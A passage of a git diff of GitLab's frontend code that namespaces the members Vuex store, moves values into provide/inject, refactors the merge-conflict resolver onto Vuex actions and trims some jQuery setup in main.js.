diff --git a/app/assets/javascripts/lib/utils/text_markdown.js b/app/assets/javascripts/lib/utils/text_markdown.js
index 345dfaf895b..1593a363dd1 100644
--- a/app/assets/javascripts/lib/utils/text_markdown.js
+++ b/app/assets/javascripts/lib/utils/text_markdown.js
@@ -232,7 +232,7 @@ export function insertMarkdownText({
.join('\n');
}
} else if (tag.indexOf(textPlaceholder) > -1) {
- textToInsert = tag.replace(textPlaceholder, selected);
+ textToInsert = tag.replace(textPlaceholder, selected.replace(/\\n/g, '\n'));
} else {
textToInsert = String(startChar) + tag + selected + (wrap ? tag : '');
}
@@ -322,7 +322,7 @@ export function updateTextForToolbarBtn($toolbarBtn) {
blockTag: $toolbarBtn.data('mdBlock'),
wrap: !$toolbarBtn.data('mdPrepend'),
select: $toolbarBtn.data('mdSelect'),
- tagContent: $toolbarBtn.data('mdTagContent'),
+ tagContent: $toolbarBtn.attr('data-md-tag-content'),
});
}
diff --git a/app/assets/javascripts/lib/utils/webpack.js b/app/assets/javascripts/lib/utils/webpack.js
index 07a4d2deb0b..a88f1bd82fc 100644
--- a/app/assets/javascripts/lib/utils/webpack.js
+++ b/app/assets/javascripts/lib/utils/webpack.js
@@ -11,10 +11,4 @@ export function resetServiceWorkersPublicPath() {
const relativeRootPath = (gon && gon.relative_url_root) || '';
const webpackAssetPath = joinPaths(relativeRootPath, '/assets/webpack/');
__webpack_public_path__ = webpackAssetPath; // eslint-disable-line babel/camelcase
-
- // monaco-editor-webpack-plugin currently (incorrectly) references the
- // public path as a property of `window`. Once this is fixed upstream we
- // can remove this line
- // see: https://github.com/Microsoft/monaco-editor-webpack-plugin/pull/63
- window.__webpack_public_path__ = webpackAssetPath; // eslint-disable-line
}
diff --git a/app/assets/javascripts/main.js b/app/assets/javascripts/main.js
index 417baddc031..3f22bd36a4a 100644
--- a/app/assets/javascripts/main.js
+++ b/app/assets/javascripts/main.js
@@ -16,21 +16,16 @@ import { initRails } from '~/lib/utils/rails_ujs';
import * as popovers from '~/popovers';
import * as tooltips from '~/tooltips';
import initAlertHandler from './alert_handler';
-import { deprecatedCreateFlash as Flash, removeFlashClickListener } from './flash';
+import { removeFlashClickListener } from './flash';
import initTodoToggle from './header';
import initLayoutNav from './layout_nav';
-import {
- handleLocationHash,
- addSelectOnFocusBehaviour,
- getCspNonceValue,
-} from './lib/utils/common_utils';
+import { handleLocationHash, addSelectOnFocusBehaviour } from './lib/utils/common_utils';
import { localTimeAgo } from './lib/utils/datetime_utility';
import { getLocationHash, visitUrl } from './lib/utils/url_utility';
// everything else
import initFeatureHighlight from './feature_highlight';
import LazyLoader from './lazy_loader';
-import { __ } from './locale';
import initLogoAnimation from './logo';
import initFrequentItemDropdowns from './frequent_items';
import initBreadcrumbs from './breadcrumb';
@@ -49,29 +44,8 @@ applyGitLabUIConfig();
window.jQuery = jQuery;
window.$ = jQuery;
-// Add nonce to jQuery script handler
-jQuery.ajaxSetup({
- converters: {
- // eslint-disable-next-line @gitlab/require-i18n-strings, func-names
- 'text script': function (text) {
- jQuery.globalEval(text, { nonce: getCspNonceValue() });
- return text;
- },
- },
-});
-
-function disableJQueryAnimations() {
- $.fx.off = true;
-}
-
-// Disable jQuery animations
-if (gon?.disable_animations) {
- disableJQueryAnimations();
-}
-
// inject test utilities if necessary
if (process.env.NODE_ENV !== 'production' && gon?.test_env) {
- disableJQueryAnimations();
import(/* webpackMode: "eager" */ './test_utils/');
}
@@ -135,20 +109,6 @@ function deferredInitialisation() {
addSelectOnFocusBehaviour('.js-select-on-focus');
- $('.remove-row').on('ajax:success', function removeRowAjaxSuccessCallback() {
- tooltips.dispose(this);
-
- $(this).closest('li').addClass('gl-display-none!');
- });
-
- $('.js-remove-tr').on('ajax:before', function removeTRAjaxBeforeCallback() {
- $(this).hide();
- });
-
- $('.js-remove-tr').on('ajax:success', function removeTRAjaxSuccessCallback() {
- $(this).closest('tr').addClass('gl-display-none!');
- });
-
const glTooltipDelay = localStorage.getItem('gl-tooltip-delay');
const delay = glTooltipDelay ? JSON.parse(glTooltipDelay) : 0;
@@ -239,17 +199,6 @@ document.addEventListener('DOMContentLoaded', () => {
}
});
- // eslint-disable-next-line no-jquery/no-ajax-events
- $(document).ajaxError((e, xhrObj) => {
- const ref = xhrObj.status;
-
- if (ref === 401) {
- Flash(__('You need to be logged in.'));
- } else if (ref === 404 || ref === 500) {
- Flash(__('Something went wrong on our end.'));
- }
- });
-
$('.navbar-toggler').on('click', () => {
$('.header-content').toggleClass('menu-expanded');
});
diff --git a/app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue b/app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue
index 83f266779f2..00973100e15 100644
--- a/app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue
+++ b/app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue
@@ -12,6 +12,7 @@ export default {
directives: {
GlTooltip: GlTooltipDirective,
},
+ inject: ['namespace'],
props: {
memberId: {
type: Number,
@@ -19,7 +20,11 @@ export default {
},
},
computed: {
- ...mapState(['memberPath']),
+ ...mapState({
+ memberPath(state) {
+ return state[this.namespace].memberPath;
+ },
+ }),
approvePath() {
return this.memberPath.replace(/:id$/, `${this.memberId}/approve_access_request`);
},
diff --git a/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue
index 0bcc85157f1..91062c222f4 100644
--- a/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue
+++ b/app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue
@@ -42,6 +42,7 @@ export default {
:member-id="member.id"
:message="message"
:title="s__('Member|Revoke invite')"
+ is-invite
/>
</div>
</action-button-group>
diff --git a/app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue b/app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue
index 3b87c29c1bc..fef7940eaa2 100644
--- a/app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue
+++ b/app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue
@@ -12,6 +12,7 @@ export default {
directives: {
GlTooltip: GlTooltipDirective,
},
+ inject: ['namespace'],
props: {
groupLink: {
type: Object,
@@ -19,7 +20,11 @@ export default {
},
},
methods: {
- ...mapActions(['showRemoveGroupLinkModal']),
+ ...mapActions({
+ showRemoveGroupLinkModal(dispatch, payload) {
+ return dispatch(`${this.namespace}/showRemoveGroupLinkModal`, payload);
+ },
+ }),
},
};
</script>
diff --git a/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue b/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue
index cb71be39ebc..a477aedd233 100644
--- a/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue
+++ b/app/assets/javascripts/members/components/action_buttons/remove_member_button.vue
@@ -8,11 +8,17 @@ export default {
directives: {
GlTooltip: GlTooltipDirective,
},
+ inject: ['namespace'],
props: {
memberId: {
type: Number,
required: true,
},
+ memberType: {
+ type: String,
+ required: false,
+ default: null,
+ },
message: {
type: String,
required: true,
@@ -31,12 +37,29 @@ export default {
required: false,
default: false,
},
+ isInvite: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ oncallSchedules: {
+ type: Object,
+ required: false,
+ default: () => {},
+ },
},
computed: {
- ...mapState(['memberPath']),
+ ...mapState({
+ memberPath(state) {
+ return state[this.namespace].memberPath;
+ },
+ }),
computedMemberPath() {
return this.memberPath.replace(':id', this.memberId);
},
+ stringifiedSchedules() {
+ return JSON.stringify(this.oncallSchedules);
+ },
},
};
</script>
@@ -50,8 +73,11 @@ export default {
:aria-label="title"
:icon="icon"
:data-member-path="computedMemberPath"
+ :data-member-type="memberType"
:data-is-access-request="isAccessRequest"
+ :data-is-invite="isInvite"
:data-message="message"
+ :data-oncall-schedules="stringifiedSchedules"
data-qa-selector="delete_member_button"
/>
</template>
diff --git a/app/assets/javascripts/members/components/action_buttons/resend_invite_button.vue b/app/assets/javascripts/members/components/action_buttons/resend_invite_button.vue
index 261a6279920..2173974c6f4 100644
--- a/app/assets/javascripts/members/components/action_buttons/resend_invite_button.vue
+++ b/app/assets/javascripts/members/components/action_buttons/resend_invite_button.vue
@@ -12,6 +12,7 @@ export default {
directives: {
GlTooltip: GlTooltipDirective,
},
+ inject: ['namespace'],
props: {
memberId: {
type: Number,
@@ -19,7 +20,11 @@ export default {
},
},
computed: {
- ...mapState(['memberPath']),
+ ...mapState({
+ memberPath(state) {
+ return state[this.namespace].memberPath;
+ },
+ }),
resendPath() {
return this.memberPath.replace(/:id$/, `${this.memberId}/resend_invite`);
},
diff --git a/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue b/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
index f779d1755a5..1e9f79927ea 100644
--- a/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
+++ b/app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue
@@ -33,7 +33,7 @@ export default {
if (user) {
return sprintf(
- s__('Members|Are you sure you want to remove %{usersName} from "%{source}"'),
+ s__('Members|Are you sure you want to remove %{usersName} from "%{source}"?'),
{
usersName: user.name,
source: source.fullName,
@@ -42,12 +42,16 @@ export default {
}
return sprintf(
- s__('Members|Are you sure you want to remove this orphaned member from "%{source}"'),
+ s__('Members|Are you sure you want to remove this orphaned member from "%{source}"?'),
{
source: source.fullName,
},
);
},
+ oncallScheduleUserData() {
+ const { user: { name, oncallSchedules: schedules } = {} } = this.member;
+ return { name, schedules };
+ },
},
};
</script>
@@ -59,6 +63,8 @@ export default {
<remove-member-button
v-else
:member-id="member.id"
+ :member-type="member.type"
+ :oncall-schedules="oncallScheduleUserData"
:message="message"
:title="s__('Member|Remove member')"
/>
diff --git a/app/assets/javascripts/members/components/app.vue b/app/assets/javascripts/members/components/app.vue
index 27fceb7374e..585fabdf3ff 100644
--- a/app/assets/javascripts/members/components/app.vue
+++ b/app/assets/javascripts/members/components/app.vue
@@ -9,8 +9,16 @@ import MembersTable from './table/members_table.vue';
export default {
name: 'MembersApp',
components: { MembersTable, FilterSortContainer, GlAlert },
+ inject: ['namespace'],
computed: {
- ...mapState(['showError', 'errorMessage']),
+ ...mapState({
+ showError(state) {
+ return state[this.namespace].showError;
+ },
+ errorMessage(state) {
+ return state[this.namespace].errorMessage;
+ },
+ }),
},
watch: {
showError(value) {
@@ -23,7 +31,9 @@ export default {
},
methods: {
...mapMutations({
- hideError: HIDE_ERROR,
+ hideError(commit) {
+ return commit(`${this.namespace}/${HIDE_ERROR}`);
+ },
}),
},
};
diff --git a/app/assets/javascripts/members/components/avatars/user_avatar.vue b/app/assets/javascripts/members/components/avatars/user_avatar.vue
index 658fb43cecb..9687eacb036 100644
--- a/app/assets/javascripts/members/components/avatars/user_avatar.vue
+++ b/app/assets/javascripts/members/components/avatars/user_avatar.vue
@@ -5,7 +5,6 @@ import {
GlBadge,
GlSafeHtmlDirective as SafeHtml,
} from '@gitlab/ui';
-import { mapState } from 'vuex';
import { generateBadges } from 'ee_else_ce/members/utils';
import { glEmojiTag } from '~/emoji';
import { __ } from '~/locale';
@@ -24,6 +23,7 @@ export default {
directives: {
SafeHtml,
},
+ inject: ['canManageMembers'],
props: {
member: {
type: Object,
@@ -35,7 +35,6 @@ export default {
},
},
computed: {
- ...mapState(['canManageMembers']),
user() {
return this.member.user;
},
diff --git a/app/assets/javascripts/members/components/filter_sort/filter_sort_container.vue b/app/assets/javascripts/members/components/filter_sort/filter_sort_container.vue
index 812a8626949..419b7b83c0f 100644
--- a/app/assets/javascripts/members/components/filter_sort/filter_sort_container.vue
+++ b/app/assets/javascripts/members/components/filter_sort/filter_sort_container.vue
@@ -6,8 +6,16 @@ import SortDropdown from './sort_dropdown.vue';
export default {
name: 'FilterSortContainer',
components: { MembersFilteredSearchBar, SortDropdown },
+ inject: ['namespace'],
computed: {
- ...mapState(['filteredSearchBar', 'tableSortableFields']),
+ ...mapState({
+ filteredSearchBar(state) {
+ return state[this.namespace].filteredSearchBar;
+ },
+ tableSortableFields(state) {
+ return state[this.namespace].tableSortableFields;
+ },
+ }),
showContainer() {
return this.filteredSearchBar.show || this.showSortDropdown;
},
diff --git a/app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue b/app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue
index 039ee9a0207..cc97d235a9c 100644
--- a/app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue
+++ b/app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue
@@ -37,13 +37,18 @@ export default {
],
},
],
+ inject: ['namespace', 'sourceId', 'canManageMembers'],
data() {
return {
initialFilterValue: [],
};
},
computed: {
- ...mapState(['sourceId', 'filteredSearchBar', 'canManageMembers']),
+ ...mapState({
+ filteredSearchBar(state) {
+ return state[this.namespace].filteredSearchBar;
+ },
+ }),
tokens() {
return this.$options.availableTokens.filter((token) => {
if (
diff --git a/app/assets/javascripts/members/components/filter_sort/sort_dropdown.vue b/app/assets/javascripts/members/components/filter_sort/sort_dropdown.vue
index 9fa8772faf4..ce28283ccdf 100644
--- a/app/assets/javascripts/members/components/filter_sort/sort_dropdown.vue
+++ b/app/assets/javascripts/members/components/filter_sort/sort_dropdown.vue
@@ -8,8 +8,16 @@ import { parseSortParam, buildSortHref } from '~/members/utils';
export default {
name: 'SortDropdown',
components: { GlSorting, GlSortingItem },
+ inject: ['namespace'],
computed: {
- ...mapState(['tableSortableFields', 'filteredSearchBar']),
+ ...mapState({
+ tableSortableFields(state) {
+ return state[this.namespace].tableSortableFields;
+ },
+ filteredSearchBar(state) {
+ return state[this.namespace].filteredSearchBar;
+ },
+ }),
sort() {
return parseSortParam(this.tableSortableFields);
},
diff --git a/app/assets/javascripts/members/components/modals/leave_modal.vue b/app/assets/javascripts/members/components/modals/leave_modal.vue
index a0f978d85cc..44178981136 100644
--- a/app/assets/javascripts/members/components/modals/leave_modal.vue
+++ b/app/assets/javascripts/members/components/modals/leave_modal.vue
@@ -3,6 +3,7 @@ import { GlModal, GlForm, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
import { mapState } from 'vuex';
import csrf from '~/lib/utils/csrf';
import { __, s__, sprintf } from '~/locale';
+import OncallSchedulesList from '~/vue_shared/components/oncall_schedules_list.vue';
import { LEAVE_MODAL_ID } from '../../constants';
export default {
@@ -19,10 +20,11 @@ export default {
csrf,
modalId: LEAVE_MODAL_ID,
modalContent: s__('Members|Are you sure you want to leave "%{source}"?'),
- components: { GlModal, GlForm, GlSprintf },
+ components: { GlModal, GlForm, GlSprintf, OncallSchedulesList },
directives: {
GlTooltip: GlTooltipDirective,
},
+ inject: ['namespace'],
props: {
member: {
type: Object,
@@ -30,13 +32,23 @@ export default {
},
},
computed: {
- ...mapState(['memberPath']),
+ ...mapState({
+ memberPath(state) {
+ return state[this.namespace].memberPath;
+ },
+ }),
leavePath() {
return this.memberPath.replace(/:id$/, 'leave');
},
modalTitle() {
return sprintf(s__('Members|Leave "%{source}"'), { source: this.member.source.fullName });
},
+ schedules() {
+ return this.member.user?.oncallSchedules;
+ },
+ isPartOfOnCallSchedules() {
+ return this.schedules?.length;
+ },
},
methods: {
handlePrimary() {
@@ -53,7 +65,6 @@ export default {
:title="modalTitle"
:action-primary="$options.actionPrimary"
:action-cancel="$options.actionCancel"
- size="sm"
@primary="handlePrimary"
>
<gl-form ref="form" :action="leavePath" method="post">
@@ -63,6 +74,12 @@ export default {
</gl-sprintf>
</p>
+ <oncall-schedules-list
+ v-if="isPartOfOnCallSchedules"
+ :schedules="schedules"
+ :is-current-user="true"
+ />
+
<input type="hidden" name="_method" value="delete" />
<input :value="$options.csrf.token" type="hidden" name="authenticity_token" />
</gl-form>
diff --git a/app/assets/javascripts/members/components/modals/remove_group_link_modal.vue b/app/assets/javascripts/members/components/modals/remove_group_link_modal.vue
index 1ba6bf9aba6..b179ced46e1 100644
--- a/app/assets/javascripts/members/components/modals/remove_group_link_modal.vue
+++ b/app/assets/javascripts/members/components/modals/remove_group_link_modal.vue
@@ -22,8 +22,19 @@ export default {
},
modalId: REMOVE_GROUP_LINK_MODAL_ID,
components: { GlModal, GlSprintf, GlForm },
+ inject: ['namespace'],
computed: {
- ...mapState(['memberPath', 'groupLinkToRemove', 'removeGroupLinkModalVisible']),
+ ...mapState({
+ memberPath(state) {
+ return state[this.namespace].memberPath;
+ },
+ groupLinkToRemove(state) {
+ return state[this.namespace].groupLinkToRemove;
+ },
+ removeGroupLinkModalVisible(state) {
+ return state[this.namespace].removeGroupLinkModalVisible;
+ },
+ }),
groupLinkPath() {
return this.memberPath.replace(/:id$/, this.groupLinkToRemove?.id);
},
@@ -35,7 +46,11 @@ export default {
},
},
methods: {
- ...mapActions(['hideRemoveGroupLinkModal']),
+ ...mapActions({
+ hideRemoveGroupLinkModal(dispatch) {
+ return dispatch(`${this.namespace}/hideRemoveGroupLinkModal`);
+ },
+ }),
handlePrimary() {
this.$refs.form.$el.submit();
},
diff --git a/app/assets/javascripts/members/components/table/expiration_datepicker.vue b/app/assets/javascripts/members/components/table/expiration_datepicker.vue
index 0a8af81c1d1..9f6e8979102 100644
--- a/app/assets/javascripts/members/components/table/expiration_datepicker.vue
+++ b/app/assets/javascripts/members/components/table/expiration_datepicker.vue
@@ -7,6 +7,7 @@ import { s__ } from '~/locale';
export default {
name: 'ExpirationDatepicker',
components: { GlDatepicker },
+ inject: ['namespace'],
props: {
member: {
type: Object,
@@ -46,7 +47,11 @@ export default {
}
},
methods: {
- ...mapActions(['updateMemberExpiration']),
+ ...mapActions({
+ updateMemberExpiration(dispatch, payload) {
+ return dispatch(`${this.namespace}/updateMemberExpiration`, payload);
+ },
+ }),
handleInput(date) {
this.busy = true;
this.updateMemberExpiration({
diff --git a/app/assets/javascripts/members/components/table/members_table.vue b/app/assets/javascripts/members/components/table/members_table.vue
index 9a3edff19ff..236aeaef418 100644
--- a/app/assets/javascripts/members/components/table/members_table.vue
+++ b/app/assets/javascripts/members/components/table/members_table.vue
@@ -31,8 +31,19 @@ export default {
LdapOverrideConfirmationModal: () =>
import('ee_component/members/components/ldap/ldap_override_confirmation_modal.vue'),
},
+ inject: ['namespace', 'currentUserId'],
computed: {
- ...mapState(['members', 'tableFields', 'tableAttrs', 'currentUserId']),
+ ...mapState({
+ members(state) {
+ return state[this.namespace].members;
+ },
+ tableFields(state) {
+ return state[this.namespace].tableFields;
+ },
+ tableAttrs(state) {
+ return state[this.namespace].tableAttrs;
+ },
+ }),
filteredFields() {
return FIELDS.filter(
(field) => this.tableFields.includes(field.key) && this.showField(field),
diff --git a/app/assets/javascripts/members/components/table/members_table_cell.vue b/app/assets/javascripts/members/components/table/members_table_cell.vue
index 1f537740f94..3436bcab2fc 100644
--- a/app/assets/javascripts/members/components/table/members_table_cell.vue
+++ b/app/assets/javascripts/members/components/table/members_table_cell.vue
@@ -1,5 +1,4 @@
<script>
-import { mapState } from 'vuex';
import { MEMBER_TYPES } from '../../constants';
import {
isGroup,
@@ -12,6 +11,7 @@ import {
export default {
name: 'MembersTableCell',
+ inject: ['currentUserId'],
props: {
member: {
type: Object,
@@ -19,7 +19,6 @@ export default {
},
},
computed: {
- ...mapState(['currentUserId']),
isGroup() {
return isGroup(this.member);
},
diff --git a/app/assets/javascripts/members/components/table/role_dropdown.vue b/app/assets/javascripts/members/components/table/role_dropdown.vue
index 8ad45ab6920..f84ded427cd 100644
--- a/app/assets/javascripts/members/components/table/role_dropdown.vue
+++ b/app/assets/javascripts/members/components/table/role_dropdown.vue
@@ -11,6 +11,7 @@ export default {
GlDropdownItem,
LdapDropdownItem: () => import('ee_component/members/components/ldap/ldap_dropdown_item.vue'),
},
+ inject: ['namespace'],
props: {
member: {
type: Object,
@@ -44,7 +45,11 @@ export default {
}
},
methods: {
- ...mapActions(['updateMemberRole']),
+ ...mapActions({
+ updateMemberRole(dispatch, payload) {
+ return dispatch(`${this.namespace}/updateMemberRole`, payload);
+ },
+ }),
handleSelect(value, name) {
if (value === this.member.accessLevel.integerValue) {
return;
diff --git a/app/assets/javascripts/members/index.js b/app/assets/javascripts/members/index.js
index fe174d9beb6..6376b3fa75a 100644
--- a/app/assets/javascripts/members/index.js
+++ b/app/assets/javascripts/members/index.js
@@ -8,6 +8,7 @@ import membersStore from './store';
export const initMembersApp = (
el,
{
+ namespace,
tableFields = [],
tableAttrs = {},
tableSortableFields = [],
@@ -22,22 +23,31 @@ export const initMembersApp = (
Vue.use(Vuex);
Vue.use(GlToast);
- const store = new Vuex.Store(
- membersStore({
- ...parseDataAttributes(el),
- currentUserId: gon.current_user_id || null,
- tableFields,
- tableAttrs,
- tableSortableFields,
- requestFormatter,
- filteredSearchBar,
- }),
- );
+ const { sourceId, canManageMembers, ...vuexStoreAttributes } = parseDataAttributes(el);
+
+ const store = new Vuex.Store({
+ modules: {
+ [namespace]: membersStore({
+ ...vuexStoreAttributes,
+ tableFields,
+ tableAttrs,
+ tableSortableFields,
+ requestFormatter,
+ filteredSearchBar,
+ }),
+ },
+ });
return new Vue({
el,
components: { App },
store,
+ provide: {
+ namespace,
+ currentUserId: gon.current_user_id || null,
+ sourceId,
+ canManageMembers,
+ },
render: (createElement) => createElement('app'),
});
};
diff --git a/app/assets/javascripts/members/store/index.js b/app/assets/javascripts/members/store/index.js
index 45f4eefffc9..6c371887a3f 100644
--- a/app/assets/javascripts/members/store/index.js
+++ b/app/assets/javascripts/members/store/index.js
@@ -3,6 +3,7 @@ import mutations from 'ee_else_ce/members/store/mutations';
import createState from 'ee_else_ce/members/store/state';
export default (initialState) => ({
+ namespaced: true,
state: createState(initialState),
actions,
mutations,
diff --git a/app/assets/javascripts/members/store/state.js b/app/assets/javascripts/members/store/state.js
index 23a7983adcc..4006b4b501d 100644
--- a/app/assets/javascripts/members/store/state.js
+++ b/app/assets/javascripts/members/store/state.js
@@ -1,8 +1,5 @@
export default ({
members,
- sourceId,
- currentUserId,
- canManageMembers,
tableFields,
tableAttrs,
tableSortableFields,
@@ -11,9 +8,6 @@ export default ({
filteredSearchBar,
}) => ({
members,
- sourceId,
- currentUserId,
- canManageMembers,
tableFields,
tableAttrs,
tableSortableFields,
diff --git a/app/assets/javascripts/merge_conflicts/components/diff_file_editor.vue b/app/assets/javascripts/merge_conflicts/components/diff_file_editor.vue
index 2c7c8038af5..7649c363daa 100644
--- a/app/assets/javascripts/merge_conflicts/components/diff_file_editor.vue
+++ b/app/assets/javascripts/merge_conflicts/components/diff_file_editor.vue
@@ -1,8 +1,10 @@
<script>
import { debounce } from 'lodash';
+import { mapActions } from 'vuex';
import { deprecatedCreateFlash as flash } from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
+import { INTERACTIVE_RESOLVE_MODE } from '../constants';
export default {
props: {
@@ -10,14 +12,6 @@ export default {
type: Object,
required: true,
},
- onCancelDiscardConfirmation: {
- type: Function,
- required: true,
- },
- onAcceptDiscardConfirmation: {
- type: Function,
- required: true,
- },
},
data() {
return {
@@ -50,6 +44,7 @@ export default {
}
},
methods: {
+ ...mapActions(['setFileResolveMode', 'setPromptConfirmationState', 'updateFile']),
loadEditor() {
const EditorPromise = import(/* webpackChunkName: 'EditorLite' */ '~/editor/editor_lite');
const DataPromise = axios.get(this.file.content_path);
@@ -82,23 +77,24 @@ export default {
saveDiffResolution() {
this.saved = true;
- // This probably be better placed in the data provider
- /* eslint-disable vue/no-mutating-props */
- this.file.content = this.editor.getValue();
- this.file.resolveEditChanged = this.file.content !== this.originalContent;
- this.file.promptDiscardConfirmation = false;
- /* eslint-enable vue/no-mutating-props */
+ this.updateFile({
+ ...this.file,
+ content: this.editor.getValue(),
+ resolveEditChanged: this.file.content !== this.originalContent,
+ promptDiscardConfirmation: false,
+ });
},
resetEditorContent() {
if (this.fileLoaded) {
this.editor.setValue(this.originalContent);
}
},
- cancelDiscardConfirmation(file) {
- this.onCancelDiscardConfirmation(file);
- },
acceptDiscardConfirmation(file) {
- this.onAcceptDiscardConfirmation(file);
+ this.setPromptConfirmationState({ file, promptDiscardConfirmation: false });
+ this.setFileResolveMode({ file, mode: INTERACTIVE_RESOLVE_MODE });
+ },
+ cancelDiscardConfirmation(file) {
+ this.setPromptConfirmationState({ file, promptDiscardConfirmation: false });
},
},
};
diff --git a/app/assets/javascripts/merge_conflicts/components/inline_conflict_lines.vue b/app/assets/javascripts/merge_conflicts/components/inline_conflict_lines.vue
index 519fd53af1e..9721481e6be 100644
--- a/app/assets/javascripts/merge_conflicts/components/inline_conflict_lines.vue
+++ b/app/assets/javascripts/merge_conflicts/components/inline_conflict_lines.vue
@@ -1,34 +1,41 @@
<script>
import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
-import actionsMixin from '../mixins/line_conflict_actions';
+import { mapActions } from 'vuex';
+import syntaxHighlight from '~/syntax_highlight';
+import { SYNTAX_HIGHLIGHT_CLASS } from '../constants';
import utilsMixin from '../mixins/line_conflict_utils';
export default {
directives: {
SafeHtml,
},
- mixins: [utilsMixin, actionsMixin],
+ mixins: [utilsMixin],
+ SYNTAX_HIGHLIGHT_CLASS,
props: {
file: {
type: Object,
required: true,
},
},
+ mounted() {
+ syntaxHighlight(document.querySelectorAll(`.${SYNTAX_HIGHLIGHT_CLASS}`));
+ },
+ methods: {
+ ...mapActions(['handleSelected']),
+ },
};
</script>
<template>
- <table class="diff-wrap-lines code code-commit js-syntax-highlight">
- <tr
- v-for="line in file.inlineLines"
- :key="(line.isHeader ? line.id : line.new_line) + line.richText"
- class="line_holder diff-inline"
- >
+ <table :class="['diff-wrap-lines code code-commit', $options.SYNTAX_HIGHLIGHT_CLASS]">
+ <!-- Unfortunately there isn't a good key for these sections -->
+ <!-- eslint-disable vue/require-v-for-key -->
+ <tr v-for="line in file.inlineLines" class="line_holder diff-inline">
<template v-if="line.isHeader">
<td :class="lineCssClass(line)" class="diff-line-num header"></td>
<td :class="lineCssClass(line)" class="diff-line-num header"></td>
<td :class="lineCssClass(line)" class="line_content header">
<strong>{{ line.richText }}</strong>
- <button class="btn" @click="handleSelected(file, line.id, line.section)">
+ <button class="btn" @click="handleSelected({ file, line })">
{{ line.buttonTitle }}
</button>
</td>
diff --git a/app/assets/javascripts/merge_conflicts/components/parallel_conflict_lines.vue b/app/assets/javascripts/merge_conflicts/components/parallel_conflict_lines.vue
index e66f641f70d..7b1d947ccff 100644
--- a/app/assets/javascripts/merge_conflicts/components/parallel_conflict_lines.vue
+++ b/app/assets/javascripts/merge_conflicts/components/parallel_conflict_lines.vue
@@ -1,32 +1,41 @@
<script>
import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
-import actionsMixin from '../mixins/line_conflict_actions';
+import { mapActions } from 'vuex';
+import syntaxHighlight from '~/syntax_highlight';
+import { SYNTAX_HIGHLIGHT_CLASS } from '../constants';
import utilsMixin from '../mixins/line_conflict_utils';
export default {
directives: {
SafeHtml,
},
- mixins: [utilsMixin, actionsMixin],
+ mixins: [utilsMixin],
+ SYNTAX_HIGHLIGHT_CLASS,
props: {
file: {
type: Object,
required: true,
},
},
+ mounted() {
+ syntaxHighlight(document.querySelectorAll(`.${SYNTAX_HIGHLIGHT_CLASS}`));
+ },
+ methods: {
+ ...mapActions(['handleSelected']),
+ },
};
</script>
<template>
<!-- Unfortunately there isn't a good key for these sections -->
<!-- eslint-disable vue/require-v-for-key -->
- <table class="diff-wrap-lines code js-syntax-highlight">
+ <table :class="['diff-wrap-lines code', $options.SYNTAX_HIGHLIGHT_CLASS]">
<tr v-for="section in file.parallelLines" class="line_holder parallel">
<template v-for="line in section">
<template v-if="line.isHeader">
<td class="diff-line-num header" :class="lineCssClass(line)"></td>
<td class="line_content header" :class="lineCssClass(line)">
<strong>{{ line.richText }}</strong>
- <button class="btn" @click="handleSelected(file, line.id, line.section)">
+ <button class="btn" @click="handleSelected({ file, line })">
{{ line.buttonTitle }}
</button>
</td>
diff --git a/app/assets/javascripts/merge_conflicts/constants.js b/app/assets/javascripts/merge_conflicts/constants.js
index 6f3ee339e36..dddcc891e81 100644
--- a/app/assets/javascripts/merge_conflicts/constants.js
+++ b/app/assets/javascripts/merge_conflicts/constants.js
@@ -13,6 +13,7 @@ export const VIEW_TYPES = {
export const EDIT_RESOLVE_MODE = 'edit';
export const INTERACTIVE_RESOLVE_MODE = 'interactive';
export const DEFAULT_RESOLVE_MODE = INTERACTIVE_RESOLVE_MODE;
+export const SYNTAX_HIGHLIGHT_CLASS = 'js-syntax-highlight';
export const HEAD_HEADER_TEXT = s__('MergeConflict|HEAD//our changes');
export const ORIGIN_HEADER_TEXT = s__('MergeConflict|origin//their changes');
diff --git a/app/assets/javascripts/merge_conflicts/merge_conflict_resolver_app.vue b/app/assets/javascripts/merge_conflicts/merge_conflict_resolver_app.vue
index 16a7cfb2ba8..0509cf0afa1 100644
--- a/app/assets/javascripts/merge_conflicts/merge_conflict_resolver_app.vue
+++ b/app/assets/javascripts/merge_conflicts/merge_conflict_resolver_app.vue
@@ -1,14 +1,15 @@
<script>
import { GlSprintf } from '@gitlab/ui';
+import { mapGetters, mapState, mapActions } from 'vuex';
import { __ } from '~/locale';
import FileIcon from '~/vue_shared/components/file_icon.vue';
import DiffFileEditor from './components/diff_file_editor.vue';
import InlineConflictLines from './components/inline_conflict_lines.vue';
import ParallelConflictLines from './components/parallel_conflict_lines.vue';
+import { INTERACTIVE_RESOLVE_MODE } from './constants';
/**
- * NOTE: Most of this component is directly using $root, rather than props or a better data store.
- * This is BAD and one shouldn't copy that behavior. Similarly a lot of the classes below should
+ * A lot of the classes below should
* be replaced with GitLab UI components.
*
* We are just doing it temporarily in order to migrate the template from HAML => Vue in an iterative manner
@@ -25,60 +26,88 @@ export default {
InlineConflictLines,
